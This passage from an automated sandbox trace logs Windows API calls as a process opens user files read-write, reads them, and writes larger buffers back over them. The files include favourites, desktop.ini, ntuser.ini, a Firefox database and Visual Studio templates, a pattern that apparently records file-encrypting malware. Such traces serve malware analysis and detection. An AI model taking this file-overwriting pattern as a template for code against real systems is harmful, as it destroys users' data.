lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.471] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.471] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x85 [0068.471] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.471] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.471] ReleaseMutex (hMutex=0x128) returned 1 [0068.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IE Add-on site.url", cchWideChar=18, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 18 [0068.471] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="IE Add-on site.url", cchWideChar=18, lpMultiByteStr=0x1e78974, cbMultiByte=18, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="IE Add-on site.url", lpUsedDefaultChar=0x0) returned 18 [0068.471] ReadFile (in: hFile=0x1b0, lpBuffer=0x257ef90, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x257ef90*, lpNumberOfBytesRead=0x340f2bc*=0x85, lpOverlapped=0x0) returned 1 [0068.472] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0068.472] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x60d, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x340f2d0*=0x60d, lpOverlapped=0x0) returned 1 [0068.474] CloseHandle (hObject=0x1b0) returned 1 [0068.474] CreateFileW (lpFileName="C:\\Users\\Default\\Favorites\\MSN Websites\\MSNBC News.url" (normalized: "c:\\users\\default\\favorites\\msn websites\\msnbc news.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.475] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.475] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x85 [0068.475] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.475] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.475] ReleaseMutex (hMutex=0x128) returned 1 [0068.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSNBC News.url", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0068.475] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MSNBC News.url", cchWideChar=14, lpMultiByteStr=0x1e6316c, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MSNBC News.url", lpUsedDefaultChar=0x0) returned 14 [0068.475] ReadFile (in: hFile=0x1b0, lpBuffer=0x257ef90, nNumberOfBytesToRead=0x85, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x257ef90*, lpNumberOfBytesRead=0x340f2bc*=0x85, lpOverlapped=0x0) returned 1 [0068.476] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0068.476] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x60d, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x340f2d0*=0x60d, lpOverlapped=0x0) returned 1 [0068.476] CloseHandle (hObject=0x1b0) returned 1 [0068.476] CreateFileW (lpFileName="C:\\Users\\Default\\ntuser.ini" (normalized: "c:\\users\\default\\ntuser.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.477] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.477] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x14 [0068.477] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.477] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.477] ReleaseMutex (hMutex=0x128) returned 1 [0068.477] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ntuser.ini", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0068.477] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ntuser.ini", cchWideChar=10, lpMultiByteStr=0x1e630ec, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ntuser.ini", lpUsedDefaultChar=0x0) returned 10 [0068.477] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e63168, nNumberOfBytesToRead=0x14, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e63168*, lpNumberOfBytesRead=0x340f2bc*=0x14, lpOverlapped=0x0) returned 1 [0068.478] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0068.478] WriteFile (in: hFile=0x1b0, lpBuffer=0x1dfcd08*, nNumberOfBytesToWrite=0x59c, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dfcd08*, lpNumberOfBytesWritten=0x340f2d0*=0x59c, lpOverlapped=0x0) returned 1 [0068.478] CloseHandle (hObject=0x1b0) returned 1 [0068.478] CreateFileW (lpFileName="C:\\Users\\Public\\desktop.ini" (normalized: "c:\\users\\public\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.479] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.479] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0xae [0068.479] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.479] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.479] ReleaseMutex (hMutex=0x128) returned 1 [0068.479] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0068.479] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e6316c, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0068.479] ReadFile (in: hFile=0x1b0, lpBuffer=0x1e36708, nNumberOfBytesToRead=0xae, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e36708*, lpNumberOfBytesRead=0x340f2bc*=0xae, lpOverlapped=0x0) returned 1 [0068.480] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0068.480] WriteFile (in: hFile=0x1b0, lpBuffer=0x263fd98*, nNumberOfBytesToWrite=0x636, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x263fd98*, lpNumberOfBytesWritten=0x340f2d0*=0x636, lpOverlapped=0x0) returned 1 [0068.480] CloseHandle (hObject=0x1b0) returned 1 [0068.480] CreateFileW (lpFileName="C:\\Users\\Public\\Pictures\\desktop.ini" (normalized: "c:\\users\\public\\pictures\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b0 [0068.480] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.480] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x17c [0068.480] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f8c0*=0) returned 0x0 [0068.480] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0068.481] ReleaseMutex (hMutex=0x128) returned 1 [0068.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0068.481] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="desktop.ini", cchWideChar=11, lpMultiByteStr=0x1e630ec, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="desktop.ini", lpUsedDefaultChar=0x0) returned 11 [0068.481] ReadFile (in: hFile=0x1b0, lpBuffer=0x1df4178, nNumberOfBytesToRead=0x17c, lpNumberOfBytesRead=0x340f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1df4178*, lpNumberOfBytesRead=0x340f2bc*=0x17c, lpOverlapped=0x0) returned 1 [0068.482] SetFilePointer (in: hFile=0x1b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x340f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x340f300*=0) returned 0x0 [0068.482] WriteFile (in: hFile=0x1b0, lpBuffer=0x261fa88*, nNumberOfBytesToWrite=0x704, lpNumberOfBytesWritten=0x340f2d0, lpOverlapped=0x0 | out: lpBuffer=0x261fa88*, lpNumberOfBytesWritten=0x340f2d0*=0x704, lpOverlapped=0x0) returned 1 [0068.482] CloseHandle (hObject=0x1b0) returned 1 [0068.482] GetCurrentThreadId () returned 0x91c [0068.482] GetCurrentThreadId () returned 0x91c [0068.482] GetCurrentThreadId () returned 0x91c [0068.482] SetEvent (hEvent=0xc4) returned 1 [0068.482] RtlExitUserThread (Status=0x0) Thread: id = 87 os_tid = 0xb84 [0033.834] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\silmbjec.default\\downloads.sqlite" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\mozilla\\firefox\\profiles\\silmbjec.default\\downloads.sqlite"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0033.835] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0033.835] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x18000 [0033.835] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0033.835] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0033.836] ReleaseMutex (hMutex=0x128) returned 1 [0033.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="downloads.sqlite", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0033.836] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="downloads.sqlite", cchWideChar=16, lpMultiByteStr=0x1e78654, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="downloads.sqlite", lpUsedDefaultChar=0x0) returned 16 [0033.836] ReadFile (in: hFile=0x1b4, lpBuffer=0x1da3ea8, nNumberOfBytesToRead=0x4000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1da3ea8*, lpNumberOfBytesRead=0x354f278*=0x4000, lpOverlapped=0x0) returned 1 [0033.971] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x17000 [0033.971] ReadFile (in: hFile=0x1b4, lpBuffer=0x1dcfdc8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1dcfdc8*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0033.976] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x17000 [0033.977] WriteFile (in: hFile=0x1b4, lpBuffer=0x25ca738*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25ca738*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0033.977] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0033.977] WriteFile (in: hFile=0x1b4, lpBuffer=0x276a328*, nNumberOfBytesToWrite=0x4000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x276a328*, lpNumberOfBytesWritten=0x354f28c*=0x4000, lpOverlapped=0x0) returned 1 [0033.977] CloseHandle (hObject=0x1b4) returned 1 [0033.979] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\AppConfig.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\appconfig.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0034.102] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.102] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x251 [0034.102] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.102] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.102] ReleaseMutex (hMutex=0x128) returned 1 [0034.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AppConfig.zip", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0034.102] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AppConfig.zip", cchWideChar=13, lpMultiByteStr=0x1e630ac, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AppConfig.zip", lpUsedDefaultChar=0x0) returned 13 [0034.102] ReadFile (in: hFile=0x1b4, lpBuffer=0x1e54c78, nNumberOfBytesToRead=0x251, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x1e54c78*, lpNumberOfBytesRead=0x354f2bc*=0x251, lpOverlapped=0x0) returned 1 [0034.227] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0034.227] WriteFile (in: hFile=0x1b4, lpBuffer=0x1dc0738*, nNumberOfBytesToWrite=0x7d9, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1dc0738*, lpNumberOfBytesWritten=0x354f2d0*=0x7d9, lpOverlapped=0x0) returned 1 [0034.227] CloseHandle (hObject=0x1b4) returned 1 [0034.229] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\CSharp\\1033\\MDIParent.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\csharp\\1033\\mdiparent.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0034.229] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.229] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x3719 [0034.229] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.229] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.229] ReleaseMutex (hMutex=0x128) returned 1 [0034.229] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MDIParent.zip", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0034.229] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="MDIParent.zip", cchWideChar=13, lpMultiByteStr=0x1e6320c, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MDIParent.zip", lpUsedDefaultChar=0x0) returned 13 [0034.229] ReadFile (in: hFile=0x1b4, lpBuffer=0x1decf18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1decf18*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.239] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2719 [0034.239] ReadFile (in: hFile=0x1b4, lpBuffer=0x1decf18, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x354f278, lpOverlapped=0x0 | out: lpBuffer=0x1decf18*, lpNumberOfBytesRead=0x354f278*=0x1000, lpOverlapped=0x0) returned 1 [0034.250] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=-4096, lpDistanceToMoveHigh=0x354f2e8*=-1, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f2e8*=0) returned 0x2719 [0034.250] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1588, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x354f28c*=0x1588, lpOverlapped=0x0) returned 1 [0034.250] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f2bc*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f2bc*=0) returned 0x0 [0034.250] WriteFile (in: hFile=0x1b4, lpBuffer=0x25c7e08*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x354f28c, lpOverlapped=0x0 | out: lpBuffer=0x25c7e08*, lpNumberOfBytesWritten=0x354f28c*=0x1000, lpOverlapped=0x0) returned 1 [0034.250] CloseHandle (hObject=0x1b4) returned 1 [0034.251] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\AssemblyInfoInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\assemblyinfointernal.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0034.251] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.251] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x485 [0034.252] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.252] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.252] ReleaseMutex (hMutex=0x128) returned 1 [0034.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AssemblyInfoInternal.zip", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0034.252] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="AssemblyInfoInternal.zip", cchWideChar=24, lpMultiByteStr=0x1e7fb7c, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AssemblyInfoInternal.zip", lpUsedDefaultChar=0x0) returned 24 [0034.252] ReadFile (in: hFile=0x1b4, lpBuffer=0x2741c78, nNumberOfBytesToRead=0x485, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x2741c78*, lpNumberOfBytesRead=0x354f2bc*=0x485, lpOverlapped=0x0) returned 1 [0034.304] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0034.304] WriteFile (in: hFile=0x1b4, lpBuffer=0x27e1be8*, nNumberOfBytesToWrite=0xa0d, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x27e1be8*, lpNumberOfBytesWritten=0x354f2d0*=0xa0d, lpOverlapped=0x0) returned 1 [0034.304] CloseHandle (hObject=0x1b4) returned 1 [0034.305] CreateFileW (lpFileName="C:\\Program Files (x86)\\Microsoft Visual Studio 8\\Common7\\IDE\\VSTA\\ItemTemplates\\VisualBasic\\1033\\ResourceInternal.zip" (normalized: "c:\\program files (x86)\\microsoft visual studio 8\\common7\\ide\\vsta\\itemtemplates\\visualbasic\\1033\\resourceinternal.zip"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1b4 [0034.306] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.306] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x89b [0034.306] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f8c0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f8c0*=0) returned 0x0 [0034.306] WaitForSingleObject (hHandle=0x128, dwMilliseconds=0xffffffff) returned 0x0 [0034.306] ReleaseMutex (hMutex=0x128) returned 1 [0034.306] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ResourceInternal.zip", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0034.306] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ResourceInternal.zip", cchWideChar=20, lpMultiByteStr=0x1e78b7c, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ResourceInternal.zip", lpUsedDefaultChar=0x0) returned 20 [0034.306] ReadFile (in: hFile=0x1b4, lpBuffer=0x27ac368, nNumberOfBytesToRead=0x89b, lpNumberOfBytesRead=0x354f2bc, lpOverlapped=0x0 | out: lpBuffer=0x27ac368*, lpNumberOfBytesRead=0x354f2bc*=0x89b, lpOverlapped=0x0) returned 1 [0034.343] SetFilePointer (in: hFile=0x1b4, lDistanceToMove=0, lpDistanceToMoveHigh=0x354f300*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x354f300*=0) returned 0x0 [0034.343] WriteFile (in: hFile=0x1b4, lpBuffer=0x1deff78*, nNumberOfBytesToWrite=0xe23, lpNumberOfBytesWritten=0x354f2d0, lpOverlapped=0x0 | out: lpBuffer=0x1deff78*, lpNumberOfBytesWritten=0x354f2d0*=0xe23, lpOverlapped=0x0) returned 1 [0034.343] CloseHandle (hObject=0x1b4) returned 1 [0034.344] 